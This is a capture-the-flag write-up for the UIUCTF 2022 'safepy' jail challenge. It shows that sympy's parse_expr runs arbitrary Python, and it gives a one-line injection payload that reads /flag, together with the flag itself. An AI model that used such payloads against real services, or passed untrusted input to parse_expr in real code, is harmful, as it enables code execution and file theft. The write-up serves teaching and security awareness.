Writeup - Safepy (UIUCTF 2022)


UIUCTF 2022 - safepy Writeup

  • Type - Jail
  • Name - safepy
  • Points - 50

Description

1
2
3
4
5
6
7
My calculator won't be getting pwned again...

$ nc safepy.chal.uiuc.tf 1337

author: tow_nater

[handout.tar.gz]

Writeup

When you unzip the provided file for the challenge, you’ll get the Python script run server-side along with some supporting files for the Docker setup. Outside of line 28 of the Dockerfile that shows the flag is located at /flag, the only useful file is main.py. The script is pretty short:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from sympy import *

def parse(expr):
# learned from our mistake... let's be safe now
# https://stackoverflow.com/questions/33606667/from-string-to-sympy-expression
# return sympify(expr)

# https://docs.sympy.org/latest/modules/parsing.html
return parse_expr(expr)

print('Welcome to the derivative (with respect to x) solver!')
user_input = input('Your expression: ')
expr = parse(user_input)
deriv = diff(expr, Symbol('x'))
print('The derivative of your expression is:')
print(deriv)

Our input is taken, parsed using parse_expr, and then stuck into the diff function with the output printed out. The parse() function gives us two very helpful links, one to the documentation and another about why sympify is dangerous. Reading through this article gave me an idea for how to approach this - sympify used eval() internally, so if I could get either diff or parse_expr to do the same, that would be great!

While reading through the documentation provided, I read that an optional parameter for parse_expr was evaluate, with the default setting to True. This means that, by default, any expressions will be simplified if possible, which means it will use eval() inside of it.

I started out with a test payload to see what it would do if I just input whatever code I wanted to - print('a'):

1
2
3
4
5
$ nc safepy.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Welcome to the derivative (with respect to x) solver!
Your expression: print('a')
a

Since it looked like it ran the code, I decided to just put in a payload to print out the flag:

1
2
3
4
5
nc safepy.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Welcome to the derivative (with respect to x) solver!
Your expression: print(open("/flag").read())
uiuctf{na1v3_0r_mal1ci0u5_chang3?}

And it worked!!

Flag: uiuctf{na1v3_0r_mal1ci0u5_chang3?}

Real-World Application

My favorite part of this challenge is the real world application. This entire question was completely based off of a StackOverflow answer, and - as everyone knows - StackOverflow is the source for all programming information. This particular answer was from someone who said putting user-controlled input to sympify() is dangerous since it uses eval natively, so the parse_expr function should be used instead (implying this one was safe). As our problem demonstrated, that was not the case - parse_expr was just as dangerous as sympify. Did the user who submitted this answer know this? Not sure. But the moral of the story is you can’t always trust answers from random people on the internet